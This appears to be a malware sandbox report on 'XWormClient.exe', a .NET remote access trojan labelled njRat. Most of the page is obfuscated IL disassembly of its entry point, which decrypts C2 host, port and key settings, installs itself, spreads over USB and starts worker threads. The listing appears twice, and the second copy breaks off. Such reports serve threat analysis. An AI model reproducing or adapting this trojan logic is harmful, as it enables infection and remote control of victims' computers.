Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 3 files
EXEb92fd3fb8936ada42e26b8c1025c3e1dnjRat
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
408
Main IL
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 888
ldc.i4 805
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldc.i4.1 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 703
ldc.i4 725
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 64
ldc.i4.s 42
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Port
ldc.i4.4 <null>
stloc.s V_15
br.s IL_001D: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 801
ldc.i4 843
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 939
ldc.i4 961
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::SPL
ldc.i4.2 <null>
stloc.s V_15
br IL_001D: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 304
ldc.i4 346
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 49
ldc.i4.s 91
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::USBNM
ldc.i4.0 <null>
stloc.s V_15
br IL_001D: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 677
ldc.i4 719
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
ldc.i4 141
ldc.i4 138
call System.String My.MyComputer::Ⴍ<System.String>(System.String,System.Int32,System.Int16)
stsfld System.String Settings::InstallDir
ldc.i4.5 <null>
stloc.s V_15
br IL_001D: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 774
ldc.i4 876
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::InstallStr
leave.s IL_018C: ldc.i4.4
dup <null>
ldc.i4 631
ldc.i4 544
call System.Void Stub.USB::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int16)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 833
ldc.i4 799
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldc.i4 351
ldc.i4 330
call System.Void Stub.Messages::Ⴀ(System.Char,System.Int16)
leave.s IL_018C: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴐ.Ⴗ::Ⴐ()
brtrue.s IL_01BE: ldc.i4.6
ldc.i4.0 <null>
stloc.s V_17
br.s IL_018F: ldloc.s V_17
ldc.i4.6 <null>
br.s IL_01BA: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 373
ldc.i4 299
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldsfld System.String Settings::InstallDir
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1535659470
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 223
ldc.i4 205
call System.String Stub.USB::Ⴅ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int16)
stloc.0 <null>
ldc.i4.2 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 766
ldc.i4 697
call System.IO.DirectoryInfo Stub.Messages::ႤႭ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4 511
ldc.i4 463
call System.String Stub.USB::ႣႷ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int32)
stloc.s V_4
ldc.i4.4 <null>
stloc.s V_19
br.s IL_01FA: ldloc.s V_19
ldloc.s V_4
ldc.i4 211
ldc.i4 185
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
ldc.i4 489
ldc.i4 440
call System.Boolean Stub.AlgorithmAES::ႤႳ<System.String>(System.String,System.Int16,System.Int32)
brtrue.s IL_0284: ldc.i4.1
ldc.i4.s 9
stloc.s V_19
br IL_01FA: ldloc.s V_19
ldc.i4.1 <null>
br.s IL_027D: stloc.s V_19
ldloc.s V_4
ldc.i4 928
ldc.i4 970
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
ldc.i4 936
ldc.i4 949
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႤႤ<System.String>(System.String,System.Int32,System.Int32)
pop <null>
ldc.i4.1 <null>
stloc.s V_19
br IL_01FA: ldloc.s V_19
ldloc.0 <null>
castclass System.String
ldc.i4 875
ldc.i4 827
call System.Boolean Stub.AlgorithmAES::ႤႳ<System.String>(System.String,System.Int16,System.Int32)
brfalse.s IL_02CF: ldc.i4.5
ldc.i4.6 <null>
stloc.s V_19
br IL_01FA: ldloc.s V_19
ldc.i4.5 <null>
br.s IL_02C8: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 261
ldc.i4 376
call System.Void My.MyApplication::ႳႠ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32)
ldc.i4 1000
ldc.i4.s 24
ldc.i4.s 69
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴐ.Ⴗ::Ⴍ
ldc.i4 233
ldc.i4 223
call System.Byte[] Stub.Messages::ႤႼ<System.String>(System.String,System.Int32,System.Int32)
ldc.i4 850
ldc.i4 773
call System.Void My.MyApplication::Ⴀ<System.String>(System.String,System.Byte[],System.Int32,System.Int16)
leave.s IL_0351: ldc.i4.2
dup <null>
ldc.i4 237
ldc.i4 186
call System.Void Stub.USB::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int16)
stloc.s V_6
ldc.i4 184
ldc.i4 173
call System.Void Stub.Messages::Ⴀ(System.Char,System.Int16)
leave.s IL_0351: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 658
ldc.i4 660
call System.String Stub.Messages::ႤႠ(System.Environment/SpecialFolder,System.Int32,System.Char)
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1535659469
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4.s 46
ldc.i4.s 38
call System.String My.MyComputer::Ⴍ<System.String>(System.String,System.Int32,System.Int16)
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1535659377
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4 545
ldc.i4 550
call System.String Stub.Messages/ႤႷ::ႨႷ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Int16)
stloc.s V_7
ldc.i4.3 <null>
stloc.s V_21
br.s IL_0354: ldloc.s V_21
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1535658036
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1535659494
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4 827
ldc.i4 885
call System.Object Stub.USB::Ⴍ<System.String,System.String>(System.String,System.String,System.Int16,System.Int16)
ldnull <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1535659063
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
castclass System.String
stelem.ref <null>
ldloc.s V_9
castclass System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
castclass System.Boolean[]
ldc.i4 944
ldc.i4 1017
call System.Object Stub.Messages::ႤႣ<System.String,System.Object,System.Type>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int16,System.Int32)
ldloc.s V_11
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_048A: stloc.s V_12
ldloc.s V_10
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4 645
ldc.i4 660
call System.Object Stub.Messages::Ⴓ<System.Object>(System.Object,System.Int16,System.Int32)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1535660027
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.5 <null>
stloc.s V_21
br IL_0354: ldloc.s V_21
ldloc.s V_12
ldnull <null>
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1535659984
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1535659492
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
stelem.ref <null>
ldloc.s V_13
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_21
br IL_0354: ldloc.s V_21
ldloc.s V_12
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1535658816
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.1 <null>
stloc.s V_21
br IL_0354: ldloc.s V_21
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴐ.Ⴗ::Ⴃ
leave.s IL_055B: ldc.i4.2
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_055B: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.USB::USBStart()
call System.Void Ⴐ.Ⴗ::Ⴈ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.4 <null>
stloc.s V_23
br.s IL_055E: ldloc.s V_23
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.0 <null>
stloc.s V_23
br IL_055E: ldloc.s V_23
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
408
Main IL
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 888
ldc.i4 805
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldc.i4.1 <null>
stloc.s V_15
ldloc.s V_15
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 703
ldc.i4 725
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 64
ldc.i4.s 42
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Port
ldc.i4.4 <null>
stloc.s V_15
br.s IL_001D: ldloc.s V_15
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 801
ldc.i4 843
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 939
ldc.i4 961
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::SPL
ldc.i4.2 <null>
stloc.s V_15
br IL_001D: ldloc.s V_15
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 304
ldc.i4 346
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 49
ldc.i4.s 91
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::USBNM
ldc.i4.0 <null>
stloc.s V_15
br IL_001D: ldloc.s V_15
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 677
ldc.i4 719
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
ldc.i4 141
ldc.i4 138
call System.String My.MyComputer::Ⴍ<System.String>(System.String,System.Int32,System.Int16)
stsfld System.String Settings::InstallDir
ldc.i4.5 <null>
stloc.s V_15
br IL_001D: ldloc.s V_15
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 774
ldc.i4 876
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
stsfld System.String Settings::InstallStr
leave.s IL_018C: ldc.i4.4
dup <null>
ldc.i4 631
ldc.i4 544
call System.Void Stub.USB::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int16)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 833
ldc.i4 799
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldc.i4 351
ldc.i4 330
call System.Void Stub.Messages::Ⴀ(System.Char,System.Int16)
leave.s IL_018C: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_17
ldloc.s V_17
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴐ.Ⴗ::Ⴐ()
brtrue.s IL_01BE: ldc.i4.6
ldc.i4.0 <null>
stloc.s V_17
br.s IL_018F: ldloc.s V_17
ldc.i4.6 <null>
br.s IL_01BA: stloc.s V_17
ldc.i4.0 <null>
ldc.i4 373
ldc.i4 299
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldsfld System.String Settings::InstallDir
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1535659470
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 223
ldc.i4 205
call System.String Stub.USB::Ⴅ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int16)
stloc.0 <null>
ldc.i4.2 <null>
stloc.s V_19
ldloc.s V_19
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 766
ldc.i4 697
call System.IO.DirectoryInfo Stub.Messages::ႤႭ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4 511
ldc.i4 463
call System.String Stub.USB::ႣႷ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Int32)
stloc.s V_4
ldc.i4.4 <null>
stloc.s V_19
br.s IL_01FA: ldloc.s V_19
ldloc.s V_4
ldc.i4 211
ldc.i4 185
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
ldc.i4 489
ldc.i4 440
call System.Boolean Stub.AlgorithmAES::ႤႳ<System.String>(System.String,System.Int16,System.Int32)
brtrue.s IL_0284: ldc.i4.1
ldc.i4.s 9
stloc.s V_19
br IL_01FA: ldloc.s V_19
ldc.i4.1 <null>
br.s IL_027D: stloc.s V_19
ldloc.s V_4
ldc.i4 928
ldc.i4 970
call System.String Stub.Messages::Ⴗ<System.Object>(System.Object,System.Char,System.Char)
ldc.i4 936
ldc.i4 949
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႤႤ<System.String>(System.String,System.Int32,System.Int32)
pop <null>
ldc.i4.1 <null>
stloc.s V_19
br IL_01FA: ldloc.s V_19
ldloc.0 <null>
castclass System.String
ldc.i4 875
ldc.i4 827
call System.Boolean Stub.AlgorithmAES::ႤႳ<System.String>(System.String,System.Int16,System.Int32)
brfalse.s IL_02CF: ldc.i4.5
ldc.i4.6 <null>
stloc.s V_19
br IL_01FA: ldloc.s V_19
ldc.i4.5 <null>
br.s IL_02C8: stloc.s V_19
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
castclass System.IO.FileInfo
ldc.i4 261
ldc.i4 376
call System.Void My.MyApplication::ႳႠ<System.IO.FileInfo>(System.IO.FileInfo,System.Char,System.Int32)
ldc.i4 1000
ldc.i4.s 24
ldc.i4.s 69
call System.Void Stub.Messages::Ⴐ(System.Int32,System.Int16,System.Char)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴐ.Ⴗ::Ⴍ
ldc.i4 233
ldc.i4 223
call System.Byte[] Stub.Messages::ႤႼ<System.String>(System.String,System.Int32,System.Int32)
ldc.i4 850
ldc.i4 773
call System.Void My.MyApplication::Ⴀ<System.String>(System.String,System.Byte[],System.Int32,System.Int16)
leave.s IL_0351: ldc.i4.2
dup <null>
ldc.i4 237
ldc.i4 186
call System.Void Stub.USB::Ⴈ<System.Exception>(System.Exception,System.Int32,System.Int16)
stloc.s V_6
ldc.i4 184
ldc.i4 173
call System.Void Stub.Messages::Ⴀ(System.Char,System.Int16)
leave.s IL_0351: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 658
ldc.i4 660
call System.String Stub.Messages::ႤႠ(System.Environment/SpecialFolder,System.Int32,System.Char)
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1535659469
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4.s 46
ldc.i4.s 38
call System.String My.MyComputer::Ⴍ<System.String>(System.String,System.Int32,System.Int16)
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1535659377
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4 545
ldc.i4 550
call System.String Stub.Messages/ႤႷ::ႨႷ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Int16)
stloc.s V_7
ldc.i4.3 <null>
stloc.s V_21
br.s IL_0354: ldloc.s V_21
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1535658036
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1535659494
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4 827
ldc.i4 885
call System.Object Stub.USB::Ⴍ<System.String,System.String>(System.String,System.String,System.Int16,System.Int16)
ldnull <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1535659063
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_9
ldloc.s V_9
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_7
castclass System.String
stelem.ref <null>
ldloc.s V_9
castclass System.Object[]
stloc.s V_10
ldloc.s V_10
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_11
ldloc.s V_11
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_11
castclass System.Boolean[]
ldc.i4 944
ldc.i4 1017
call System.Object Stub.Messages::ႤႣ<System.String,System.Object,System.Type>(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Int16,System.Int32)
ldloc.s V_11
isinst System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_048A: stloc.s V_12
ldloc.s V_10
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
ldc.i4 645
ldc.i4 660
call System.Object Stub.Messages::Ⴓ<System.Object>(System.Object,System.Int16,System.Int32)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_7
stloc.s V_12
ldloc.s V_12
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1535660027
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_13
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.5 <null>
stloc.s V_21
br IL_0354: ldloc.s V_21
ldloc.s V_12
ldnull <null>
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1535659984
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_13
ldloc.s V_13
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.4 <null>
ldnull <null>
ldc.i4 1535659492
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
stelem.ref <null>
ldloc.s V_13
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.6 <null>
stloc.s V_21
br IL_0354: ldloc.s V_21
ldloc.s V_12
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1535658816
call System.String Stub.Messages/ႤႷ::Ⴈ(System.Int32,Stub.Messages/ႤႷ,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.1 <null>
stloc.s V_21
br IL_0354: ldloc.s V_21
ldnull <null>
stloc.s V_12
ldloc.s V_7
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴐ.Ⴗ::Ⴃ
leave.s IL_055B: ldc.i4.2
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_055B: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.USB::USBStart()
call System.Void Ⴐ.Ⴗ::Ⴈ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldc.i4.4 <null>
stloc.s V_23
br.s IL_055E: ldloc.s V_23
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
